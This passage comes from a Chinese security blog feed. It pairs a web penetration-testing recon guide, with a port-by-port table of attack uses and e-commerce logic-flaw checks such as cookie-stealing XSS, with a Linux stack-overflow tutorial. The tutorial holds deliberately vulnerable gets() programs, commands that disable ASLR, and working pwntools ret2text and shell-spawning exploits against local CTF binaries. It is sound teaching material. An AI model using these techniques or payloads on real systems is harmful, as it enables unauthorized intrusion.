<li > WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。</li>
<li > 测试文件</li>
<li > phpinfo</li>
</ul>
<ol start= "4" >
<li > 敏感目录:网站后台目录/一些登录地址/一些接口目录</li>
</ol>
<h2 id= "端口信息" > <a href= "#端口信息" class= "headerlink" title= "端口信息" > </a> 端口信息</h2> <p > <a href= "https://github.com/ring04h/wyportmap" target= "_blank" rel= "noopener" > https://github.com/ring04h/wyportmap</a> <br > 服务和安全是相对应的, 每开启一个端口, 那么攻击面就大了一点, 开启的端口越多, 也就意味着服务器面临的威胁越大。开始扫描之前不妨使用telnet先简单探测下某些端口是否开放, 避免使用扫描器而被封IP, 扫描全端口一般使用Nmap, masscan进行扫描探测, 尽可能多的搜集开启的端口好已经对应的服务版本, 得到确切的服务版本后可以搜索有没有对应版本的漏洞。<br > 端口渗透过程中我们需要关注几个问题:</p>
<ul >
<li > 端口的banner信息</li>
<li > 端口上运行的服务</li>
<li > 常见应用的默认端口</li>
</ul>
<table >
<thead >
<tr >
<th > 端口号</th>
<th > 端口服务/协议简要说明</th>
<th > 关于端口可能的一些渗透用途</th>
</tr>
</thead>
<tbody >
<tr >
<td > tcp 20,21</td>
<td > ftp 默认的数据和命令传输端口[可明文亦可加密传输]</td>
<td > 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4)</td>
</tr>
<tr >
<td > tcp 22</td>
<td > ssh[数据ssl加密传输]</td>
<td > 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输,等等…常用于linux远程管理…</td>
</tr>
<tr >
<td > tcp 23</td>
<td > telnet[明文传输]</td>
<td > 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令,也许会有意想不到的收获</td>
</tr>
<tr >
<td > tcp 25</td>
<td > smtp[简单邮件传输协议,多数linux发行版可能会默认开启此服务]</td>
<td > 邮件伪造,vrfy/expn 查询邮件用户信息,可使用smtp-user-enum工具来自动跑</td>
</tr>
<tr >
<td > tcp/udp 53</td>
<td > dns[域名解析]</td>
<td > 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控</td>
</tr>
<tr >
<td > tcp/udp 69</td>
<td > tftp[简单文件传输协议,无认证]</td>
<td > 尝试下载目标及其的各类重要配置文件</td>
</tr>
<tr >
<td > tcp 80-89,443,8440-8450,8080-8089</td>
<td > web[各种常用的web服务端口]</td>
<td > 各种常用web服务端口,可尝试经典的top n,vpn,owa,webmail,目标oa,各类java控制台,各类服务器web管理面板,各类web中间件漏洞利用,各类web框架漏洞利用等等……</td>
</tr>
<tr >
<td > tcp 110</td>
<td > [邮局协议,可明文可密文]</td>
<td > 可尝试爆破,嗅探</td>
</tr>
<tr >
<td > tcp 137,139,445</td>
<td > samba[smb实现windows和linux间文件共享,明文]</td>
<td > 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……</td>
</tr>
<tr >
<td > tcp 143</td>
<td > imap[可明文可密文]</td>
<td > 可尝试爆破</td>
</tr>
<tr >
<td > udp 161</td>
<td > snmp[明文]</td>
<td > 爆破默认团队字符串,搜集目标内网信息</td>
</tr>
<tr >
<td > tcp 389</td>
<td > ldap[轻量级目录访问协议]</td>
<td > ldap注入,允许匿名访问,弱口令</td>
</tr>
<tr >
<td > tcp 512,513,514</td>
<td > linux rexec</td>
<td > 可爆破,rlogin登陆</td>
</tr>
<tr >
<td > tcp 873</td>
<td > rsync备份服务</td>
<td > 匿名访问,文件上传</td>
</tr>
<tr >
<td > tcp 1194</td>
<td > openvpn</td>
<td > 想办法钓vpn账号,进内网</td>
</tr>
<tr >
<td > tcp 1352</td>
<td > Lotus domino邮件服务</td>
<td > 弱口令,信息泄漏,爆破</td>
</tr>
<tr >
<td > tcp 1433</td>
<td > mssql数据库</td>
<td > 注入,提权,sa弱口令,爆破</td>
</tr>
<tr >
<td > tcp 1521</td>
<td > oracle数据库</td>
<td > tns爆破,注入,弹shell…</td>
</tr>
<tr >
<td > tcp 1500</td>
<td > ispmanager 主机控制面板</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 1025,111,2049</td>
<td > nfs</td>
<td > 权限配置不当</td>
</tr>
<tr >
<td > tcp 1723</td>
<td > pptp</td>
<td > 爆破,想办法钓vpn账号,进内网</td>
</tr>
<tr >
<td > tcp 2082,2083</td>
<td > cpanel主机管理面板登录</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 2181</td>
<td > zookeeper</td>
<td > 未授权访问</td>
</tr>
<tr >
<td > tcp 2601,2604</td>
<td > zebra路由</td>
<td > 默认密码zerbra</td>
</tr>
<tr >
<td > tcp 3128</td>
<td > squid代理服务</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 3312,3311</td>
<td > kangle主机管理登录</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 3306</td>
<td > mysql数据库</td>
<td > 注入,提权,爆破</td>
</tr>
<tr >
<td > tcp 3389</td>
<td > windows rdp远程桌面</td>
<td > shift后门[需要03以下的系统],爆破,ms12-020[蓝屏exp]</td>
</tr>
<tr >
<td > tcp 4848</td>
<td > glassfish控制台</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 4899</td>
<td > radmin远程桌面管理工具,现在已经非常非常少了</td>
<td > 抓密码拓展机器</td>
</tr>
<tr >
<td > tcp 5000</td>
<td > sybase/DB2数据库</td>
<td > 爆破,注入</td>
</tr>
<tr >
<td > tcp 5432</td>
<td > postgresql数据库</td>
<td > 爆破,注入,弱口令</td>
</tr>
<tr >
<td > tcp 5632</td>
<td > pcanywhere远程桌面管理工具</td>
<td > 抓密码,代码执行,已经快退出历史舞台了</td>
</tr>
<tr >
<td > tcp 5900,5901,5902</td>
<td > vnc远程桌面管理工具</td>
<td > 弱口令爆破,如果信息搜集不到位,成功几率很小</td>
</tr>
<tr >
<td > tcp 5984</td>
<td > CouchDB</td>
<td > 未授权导致的任意指令执行</td>
</tr>
<tr >
<td > tcp 6379</td>
<td > redis未授权</td>
<td > 可尝试未授权访问,弱口令爆破</td>
</tr>
<tr >
<td > tcp 7001,7002</td>
<td > weblogic控制台</td>
<td > java反序列化,弱口令</td>
</tr>
<tr >
<td > tcp 7778</td>
<td > kloxo</td>
<td > 主机面板登录</td>
</tr>
<tr >
<td > tcp 8000</td>
<td > Ajenti主机控制面板</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 8443</td>
<td > plesk主机控制面板</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 8069</td>
<td > zabbix</td>
<td > 远程执行,sql注入</td>
</tr>
<tr >
<td > tcp 8080-8089</td>
<td > Jenkins,jboss</td>
<td > 反序列化,控制台弱口令</td>
</tr>
<tr >
<td > tcp 9080-9081,9090</td>
<td > websphere控制台</td>
<td > java反序列化/弱口令</td>
</tr>
<tr >
<td > tcp 9200,9300</td>
<td > elasticsearch</td>
<td > 远程执行</td>
</tr>
<tr >
<td > tcp 10000</td>
<td > webmin linux主机web控制面板入口</td>
<td > 弱口令</td>
</tr>
<tr >
<td > tcp 11211</td>
<td > memcached</td>
<td > 未授权访问</td>
</tr>
<tr >
<td > tcp 27017,27018</td>
<td > mongodb</td>
<td > 爆破,未授权访问</td>
</tr>
<tr >
<td > tcp 3690</td>
<td > svn服务</td>
<td > svn泄露,未授权访问</td>
</tr>
<tr >
<td > tcp 50000</td>
<td > SAP Management Console</td>
<td > 远程执行</td>
</tr>
<tr >
<td > tcp 50070,50030</td>
<td > hadoop</td>
<td > 默认端口未授权访问</td>
</tr>
</tbody>
</table>
<h2 id= "WAF检测" > <a href= "#WAF检测" class= "headerlink" title= "WAF检测" > </a> WAF检测</h2> <ul >
<li > waf00f: 是kali下的识别WAF的老工具 <a href= "https://github.com/Ekultek/WhatWaf" target= "_blank" rel= "noopener" > https://github.com/Ekultek/WhatWaf</a> <code > waf00f mi.com</code> </li>
<li > 从乌云镜像站、CNVD搜集网站历史漏洞</li>
<li > SQLMAP自带的WAF识别功能, 我移植出来了, 可以自定义新规则。发布在T00ls <a href= "https://www.t00ls.net/thread-46639-1-1.html" target= "_blank" rel= "noopener" > https://www.t00ls.net/thread-46639-1-1.html</a> </li>
<li > 使用云悉也可以查询出WAF</li>
<li > 输入一个错误的页面, 查看返回的头部信息或者body信息</li>
</ul>
<h2 id= "小结" > <a href= "#小结" class= "headerlink" title= "小结" > </a> 小结</h2> <p > 通过搜索引擎获取系统管理页面,直接越权访问;<br > 通过github直接找到管理后台账号密码; <br > 通过目录/ 文件扫描直接得到系统信息( ip、管理员账号密码) 连入服务器; </p>
<h1 id= "0x02-信息处理" > <a href= "#0x02-信息处理" class= "headerlink" title= "0x02 信息处理" > </a> 0x02 信息处理</h1> <ol >
<li > 信息整理<br > 分类:</li>
</ol>
<ul >
<li > 哪些网站功能类似;</li>
<li > 哪些网站可能使用的同一模版;</li>
<li > 哪些网站有waf( 这个一般在url中标明就好) ; </li>
<li > 哪些网站能登录(注册的账号也一定要记住,最好可以准备两个手机号,两个邮箱方便注册);</li>
<li > 哪些网站暴露过哪些类型的漏洞(这个只能去乌云上面找);</li>
<li > 网站目前有哪些功能(这个稍微关注一下网站公告,看最近是否会有业务更迭);</li>
</ul>
<ol start= "2" >
<li > 漏洞整理</li>
</ol>
<h1 id= "0x03-漏洞挖掘" > <a href= "#0x03-漏洞挖掘" class= "headerlink" title= "0x03 漏洞挖掘" > </a> 0x03 漏洞挖掘</h1> <p > owasp top 10、逻辑</p>
<ol >
<li > 首先我们需要对一个网站/ app有一个了解要知道它的功能点有哪些</li>
<li > 其次我们要分析这个网站/ app里面的请求哪些是我们可以控制的参数, 这些地方就是漏洞经常出没的点</li>
<li > 最后就是分析逻辑</li>
</ol>
<p > 例:”我们买东西”</p>
<ul >
<li > 首先我们要选择: 筛选涉及查询( 是否可以SQL注入) </li>
<li > <p > 加入购物车:商品数量是否可以为负</p>
</li>
<li > <p > 询问商家:<br > 跳转客服系统, 跳转url中是否含有用户参数<br > xss打客服cookie<br > 钓鱼+社工</p>
</li>
<li > <p > 下单:<br > 填地址, 涉及插入( 注入) 、xss<br > 修改单价<br > 修改总额( 这里说明一下修改总额: 情况1, 就是我们可能会遇到可以使用优惠卷的情况, 比如我们买了100的东西只能使用5块的优惠价, 但是我有一张50的优惠卷是否可以使用; 情况2, 打折我们是否可以修改打折的折扣; 情况3, 我们是否可以修改运费, 将运费改为负数; 情况n) </p>
</li>
<li > <p > 备注: xss, sql注入</p>
</li>
<li > <p > 电子票据:会写抬头</p>
</li>
<li > <p > 支付:<br > 传输过程中是否可以修改, 如果是扫描二维码支付, 我们可以分析一下二维码中的请求url看是否可以修改以后重新生成二维码( 这里不讨论后面具体了支付了, 因为微信和支付宝) </p>
</li>
<li > <p > 订单完成:是否可以遍历订单</p>
</li>
<li > 评价: 注入、上传图片、xss</li>
</ul>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > web</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > web</tag>
<tag > ctf</tag>
</tags>
</entry>
<entry >
<title > Linux Pwn-缓冲区溢出利用</title>
<url > /2019/07/16/linux-pwn-32/</url>
<content > <![CDATA[<p> <strong > ref: </strong> </p>
<blockquote >
<p > CTF-WIKI: <a href= "https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/" target= "_blank" rel= "noopener" > https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/</a> <br > 蒸米大佬的一步一步学rop <a href= "http://www.anquan.us/static/drops/tips-6597.html" target= "_blank" rel= "noopener" > http://www.anquan.us/static/drops/tips-6597.html</a> <br > <a href= "https://bbs.pediy.com/thread-221734.htm" target= "_blank" rel= "noopener" > https://bbs.pediy.com/thread-221734.htm</a> </p>
</blockquote>
<p > <strong > 工具:</strong> </p>
<blockquote >
<p > objdump、ldd、ROPgadget、readelf、<a href= "https://ctf-wiki.github.io/ctf-tools/" target= "_blank" rel= "noopener" > https://ctf-wiki.github.io/ctf-tools/</a> <br > <a href= "https://github.com/ctf-wiki/ctf-challenges" target= "_blank" rel= "noopener" > https://github.com/ctf-wiki/ctf-challenges</a> </p>
</blockquote>
<h1 id= "0x00-Control-Flow-hijack" > <a href= "#0x00-Control-Flow-hijack" class= "headerlink" title= "0x00 Control Flow hijack" > </a> 0x00 Control Flow hijack</h1> <p > 和Windows一样, 栈溢出的根本原因在于当前计算机的体系结构没有区分代码段和数据段, 因此我们可以通过修改数据段的内容( 返回地址) , 改变程序的执行流程, 从而达到程序流劫持的效果。<br > 改变计算机体系来规避漏洞目前是不可能的, 防御者为了应对这种攻击, 提出了各种增大攻击难度的措施( 没有绝对安全的系统) , 最常见的有: DEP堆栈不可执行、ASLR内存地址随机化、GS/Canary栈保护等。<br > 我们从最简单的入手,不开启任何防护,先了解栈溢出的基本操作,然后逐步增加防御措施。</p>
<h2 id= "寻找危险函数" > <a href= "#寻找危险函数" class= "headerlink" title= "寻找危险函数" > </a> 寻找危险函数</h2> <p > 这里有一个漏洞程序<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #include < stdio.h> </span> <br > <span class= "line" > #include < string.h> </span> <br > <span class= "line" > void success() { puts(" You Hava already controlled it." ); } </span> <br > <span class= "line" > void vulnerable() { </span> <br > <span class= "line" > char s[12];</span> <br > <span class= "line" > gets(s);</span> <br > <span class= "line" > puts(s);</span> <br > <span class= "line" > return;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > int main(int argc, char **argv) { </span> <br > <span class= "line" > vulnerable();</span> <br > <span class= "line" > return 0;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 当我们看到gets时就应该知道如何入手了, 这是一个非常危险的函数, 无条件的接受任意大的字符串。<br > 历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。<br > 先进行编译,关闭防御措施:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1</span> <br > <span class= "line" > stack1.c: In function ‘ vulnerable’ :</span> <br > <span class= "line" > stack1.c:6:3: warning: implicit declaration of function ‘ gets’ ; did you mean ‘ fgets’ ? [-Wimplicit-function-declaration]</span> <br > <span class= "line" > gets(s);</span> <br > <span class= "line" > ^~~~</span> <br > <span class= "line" > fgets</span> <br > <span class= "line" > /tmp/ccUuPrSy.o: In function `vulnerable' :</span> <br > <span class= "line" > stack1.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used.</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 编译器都会提示你, gets不要再用了。-fno-stack-protector 和-z execstack分便会关掉栈保护的DEP.-no-PIE关闭 PIE( Position Independent Executable) , 避免加载基址被打乱。接下来关闭整个linux系统的ASLR保护: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ su</span> <br > <span class= "line" > Password:</span> <br > <span class= "line" > root@ubuntu:/home/han/ck/pwn/linux/stack_demo# echo 0 > /proc/sys/kernel/randomize_va_space</span> <br > <span class= "line" > root@ubuntu:/home/han/ck/pwn/linux/stack_demo# exit</span> <br > <span class= "line" > exit</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "计算溢出点的位置" > <a href= "#计算溢出点的位置" class= "headerlink" title= "计算溢出点的位置" > </a> 计算溢出点的位置</h2> <p > 什么是溢出点的位置:从缓冲区到覆盖返回地址所需要的字节数<br > 我们同样也可以使用工具pattern_create和pattern_offset来计算, 这里我们先手动计算: <br > 把stack1拖入IDA进行反汇编分析: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > int vulnerable()</span> <br > <span class= "line" > { </span> <br > <span class= "line" > char s; // [sp+4h] [bp-14h]@1</span> <br > <span class= "line" > </span> <br > <span class= "line" > gets(& s);</span> <br > <span class= "line" > return puts(& s);</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 在伪代码窗口, 我们可看到变量s和bp的距离为14h, 再加上old bp的4字节, 到ret的距离就是18h。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > +-----------------+</span> <br > <span class= "line" > | retaddr |</span> <br > <span class= "line" > +-----------------+</span> <br > <span class= "line" > | saved ebp |</span> <br > <span class= "line" > ebp---> +-----------------+</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > s,ebp-0x14--> +-----------------+</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "劫持ret的地址" > <a href= "#劫持ret的地址" class= "headerlink" title= "劫持ret的地址" > </a> 劫持ret的地址</h2> <p > 这里我们想让程序跳转到success(), 从IDA直接可以获取0x08048456<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > .text:08048456 success proc near</span> <br > <span class= "line" > .text:08048456</span> <br > <span class= "line" > .text:08048456 var_4 = dword ptr -4</span> <br > <span class= "line" > .text:08048456</span> <br > <span class= "line" > .text:08048456 push ebp</span> <br > <span class= "line" > .text:08048457 mov ebp, esp</span> <br > <span class= "line" > .text:08048459 push ebx</span> <br > <span class= "line" > .text:0804845A sub esp, 4</span> <br > <span class= "line" > .text:0804845D call __x86_get_pc_thunk_ax</span> <br > <span class= "line" > .text:08048462 add eax, 1B9Eh</span> <br > <span class= "line" > .text:08048467 sub esp, 0Ch</span> <br > <span class= "line" > .text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; " You Hava already controlled it." </span> <br > <span class= "line" > .text:08048470 push edx ; s</span> <br > <span class= "line" > .text:08048471 mov ebx, eax</span> <br > <span class= "line" > .text:08048473 call _puts</span> <br > <span class= "line" > .text:08048478 add esp, 10h</span> <br > <span class= "line" > .text:0804847B nop</span> <br > <span class= "line" > .text:0804847C mov ebx, [ebp+var_4]</span> <br > <span class= "line" > .text:0804847F leave</span> <br > <span class= "line" > .text:08048480 retn</span> <br > <span class= "line" > .text:08048480 success endp</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 那么如果我们构造的字符串为:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 0x18*' a' +success_addr</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 这样就会将retaddr覆盖巍峨哦success_addr,此时栈结构为:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > +-----------------+</span> <br > <span class= "line" > | 0x0804843B |</span> <br > <span class= "line" > +-----------------+</span> <br > <span class= "line" > | aaaa |</span> <br > <span class= "line" > ebp---> +-----------------+</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > s,ebp-0x14--> +-----------------+</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "pwn测试" > <a href= "#pwn测试" class= "headerlink" title= "pwn测试" > </a> pwn测试</h2> <p > 使用pwntools, 怎么使用, 以具体的exp来介绍, 比如stack1的exp如下: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > from pwn import *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(' ./stack1' )</span> <br > <span class= "line" > ret_addr = 0x08048456</span> <br > <span class= "line" > offset = 0x18</span> <br > <span class= "line" > </span> <br > <span class= "line" > payload = ' A' * offset + p32(ret_addr)</span> <br > <span class= "line" > print(ret_addr,p32(ret_addr))</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure> </p>
<blockquote >
<ol >
<li > 连接<br > 本地process(),远程remote()</li>
<li > 数据处理<br > p32、p64是打包( 转换成二进制) , u32、u64是解包</li>
<li > IO模块<br > send(data) : 发送数据<br > sendline(data) : 发送一行数据,相当于在末尾加\n<br > interactive() : 与shell交互</li>
</ol>
</blockquote>
<p > 执行exp: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ python stack1.py</span> <br > <span class= "line" > [+] Starting local process ' ./stack1' : pid 8328</span> <br > <span class= "line" > (134513750, ' V\x84\x04\x08' )</span> <br > <span class= "line" > [*] Switching to interactive mode</span> <br > <span class= "line" > AAAAAAAAAAAAAAAAAAAAAAAAV\x84\x0</span> <br > <span class= "line" > You Hava already controlled it.</span> <br > <span class= "line" > [*] Got EOF while reading in interactive</span> <br > <span class= "line" > $</span> <br > </pre> </td> </tr> </table> </figure> </p>
<hr >
<h1 id= "0X01-ret2shellcode" > <a href= "#0X01-ret2shellcode" class= "headerlink" title= "0X01 ret2shellcode" > </a> 0X01 ret2shellcode</h1> <h2 id= "原理" > <a href= "#原理" class= "headerlink" title= "原理" > </a> 原理</h2> <p > ret2shellcode, 即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说, shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。</p>
<p > 在栈溢出的基础上,要想执行 shellcode, 需要对应的 binary 在运行时, shellcode 所在的区域具有可执行权限(NX disabled)。</p>
<h2 id= "检查保护情况" > <a href= "#检查保护情况" class= "headerlink" title= "检查保护情况" > </a> 检查保护情况</h2> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ checksec ret2shellcode</span> <br > <span class= "line" > [*] ' /home/han/ck/pwn/linux/re2shellcode/ret2shellcode' </span> <br > <span class= "line" > Arch: i386-32-little</span> <br > <span class= "line" > RELRO: Partial RELRO</span> <br > <span class= "line" > Stack: No canary found</span> <br > <span class= "line" > NX: NX disabled</span> <br > <span class= "line" > PIE: No PIE (0x8048000)</span> <br > <span class= "line" > RWX: Has RWX segments</span> <br > <span class= "line" > </span> <br > <span class= "line" > $ cat /proc/sys/kernel/randomize_va_space</span> <br > <span class= "line" > 0</span> <br > </pre> </td> </tr> </table> </figure>
<p > 可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。</p>
<h2 id= "查看危险函数" > <a href= "#查看危险函数" class= "headerlink" title= "查看危险函数" > </a> 查看危险函数</h2> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > int __cdecl main(int argc, const char **argv, const char **envp)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > int v4; // [sp+1Ch] [bp-64h]@1</span> <br > <span class= "line" > </span> <br > <span class= "line" > setvbuf(stdout, 0, 2, 0);</span> <br > <span class= "line" > setvbuf(stdin, 0, 1, 0);</span> <br > <span class= "line" > puts(" No system for you this time !!!" );</span> <br > <span class= "line" > gets((char *)& v4);</span> <br > <span class= "line" > strncpy(buf2, (const char *)& v4, 0x64u);</span> <br > <span class= "line" > printf(" bye bye ~" );</span> <br > <span class= "line" > return 0;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<p > 可以看到, 漏洞函数依然还是gets, 不过这次还把v4复制到了buf2处。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > .bss:0804A080 public buf2</span> <br > <span class= "line" > .bss:0804A080 ; char buf2[100]</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 通过<code > sudo cat /proc/[pid]/maps</code> 查看,会发现buf2和stack都是rwx的。</p>
<h2 id= "计算溢出点" > <a href= "#计算溢出点" class= "headerlink" title= "计算溢出点" > </a> 计算溢出点</h2> <p > 可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call gets处, 查看 esp, ebp<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > [----------------------------------registers-----------------------------------]</span> <br > <span class= "line" > EAX: 0xffffc99c --> 0xf7ffd000 --> 0x26f34</span> <br > <span class= "line" > EBX: 0x0</span> <br > <span class= "line" > ECX: 0xf7fb2dc7 --> 0xfb38900a</span> <br > <span class= "line" > EDX: 0xf7fb3890 --> 0x0</span> <br > <span class= "line" > ESI: 0xf7fb2000 --> 0x1d4d6c</span> <br > <span class= "line" > EDI: 0x0</span> <br > <span class= "line" > EBP: 0xffffca08 --> 0x0</span> <br > <span class= "line" > ESP: 0xffffc980 --> 0xffffc99c --> 0xf7ffd000 --> 0x26f34</span> <br > <span class= "line" > EIP: 0x8048593 (< main+102> : call 0x80483d0 < gets@plt> )</span> <br > <span class= "line" > EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)</span> <br > <span class= "line" > [-------------------------------------code-------------------------------------]</span> <br > <span class= "line" > 0x8048587 < main+90> : call 0x80483e0 < puts@plt> </span> <br > <span class= "line" > 0x804858c < main+95> : lea eax,[esp+0x1c]</span> <br > <span class= "line" > 0x8048590 < main+99> : mov DWORD PTR [esp],eax</span> <br > <span class= "line" > => 0x8048593 < main+102> : call 0x80483d0 < gets@plt> </span> <br > <span class= "line" > 0x8048598 < main+107> : mov DWORD PTR [esp+0x8],0x64</span> <br > <span class= "line" > 0x80485a0 < main+115> : lea eax,[esp+0x1c]</span> <br > <span class= "line" > 0x80485a4 < main+119> : mov DWORD PTR [esp+0x4],eax</span> <br > <span class= "line" > 0x80485a8 < main+123> : mov DWORD PTR [esp],0x804a080</span> <br > <span class= "line" > Guessed arguments:</span> <br > <span class= "line" > arg[0]: 0xffffc99c --> 0xf7ffd000 --> 0x26f34</span> <br > <span class= "line" > [------------------------------------stack-------------------------------------]</span> <br > <span class= "line" > 0000| 0xffffc980 --> 0xffffc99c --> 0xf7ffd000 --> 0x26f34</span> <br > <span class= "line" > 0004| 0xffffc984 --> 0x0</span> <br > <span class= "line" > 0008| 0xffffc988 --> 0x1</span> <br > <span class= "line" > 0012| 0xffffc98c --> 0x0</span> <br > <span class= "line" > 0016| 0xffffc990 --> 0x0</span> <br > <span class= "line" > 0020| 0xffffc994 --> 0xc30000</span> <br > <span class= "line" > 0024| 0xffffc998 --> 0x0</span> <br > <span class= "line" > 0028| 0xffffc99c --> 0xf7ffd000 --> 0x26f34</span> <br > <span class= "line" > [------------------------------------------------------------------------------]</span> <br > <span class= "line" > Legend: code, data, rodata, value</span> <br > <span class= "line" > </span> <br > <span class= "line" > Breakpoint 1, 0x08048593 in main () at ret2shellcode.c:14</span> <br > <span class= "line" > 14 ret2shellcode.c: No such file or directory.</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 可以看到 esp 为 0xffffc980, ebp 为0xffffca08, 同时 v4 相对于 esp 的索引为 [esp+0x1c], 所以, v4 的地址为 0xffffc99c, 所以 s 相对于 ebp 的偏移为 0x6C, 所以相对于返回地址的偏移为 0x6c+4。</p>
<h2 id= "劫持ret的地址-1" > <a href= "#劫持ret的地址-1" class= "headerlink" title= "劫持ret的地址" > </a> 劫持ret的地址</h2> <p > 这次我们想要程序执行shellcode, 那么我们可以把shellcode放在任何可执行的位置, 比如buf2或栈上, 位置的地址就是我们需要覆盖ret_addr的值</p>
<h2 id= "pwn测试-1" > <a href= "#pwn测试-1" class= "headerlink" title= "pwn测试" > </a> pwn测试</h2> <p > 控制程序执行bss段的shellcode<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > from pwn import *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(' ./ret2shellcode' )</span> <br > <span class= "line" > </span> <br > <span class= "line" > ret_addr = 0x0804A080</span> <br > <span class= "line" > offset = 0x6c + 4</span> <br > <span class= "line" > </span> <br > <span class= "line" > shellcode = asm(shellcraft.i386.linux.sh())</span> <br > <span class= "line" > payload = shellcode.ljust(offset,' a' ) + p32(ret_addr)</span> <br > <span class= "line" > #payload = shellcode + ' a' *(offset - len(shellcode)) + p32(ret_addr)</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure> </p>
<blockquote >
<ol >
<li > <p > Shellcode生成器<br > 使用shellcraft可以生成对应的架构的shellcode代码, 直接使用链式调用的方法就可以得到<br > 如32位linux: shellcraft.i386.linux.sh()<br > shellcode.ljust(offset,’ a’ )在shellcode后面填充offset - len(shellcode)长度的字符‘ a’ </p>
</li>
<li > <p > 汇编与反汇编<br > 使用asm来进行汇编, 使用disasm进行反汇编<br > 指定cpu类型以及操作系统: asm(‘ nop’ , arch=’ arm’ , os = ‘ linux’ , endian = ‘ little’ , word_size = 32)</p>
</li>
</ol>
</blockquote>
<hr >
<h1 id= "0x02-ret2text" > <a href= "#0x02-ret2text" class= "headerlink" title= "0x02 ret2text" > </a> 0x02 ret2text</h1> <h2 id= "原理-1" > <a href= "#原理-1" class= "headerlink" title= "原理" > </a> 原理</h2> <p > ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。</p>
<p > ROP不需要去执行栈中的shellcode, 因此可以绕过DEP保护</p>
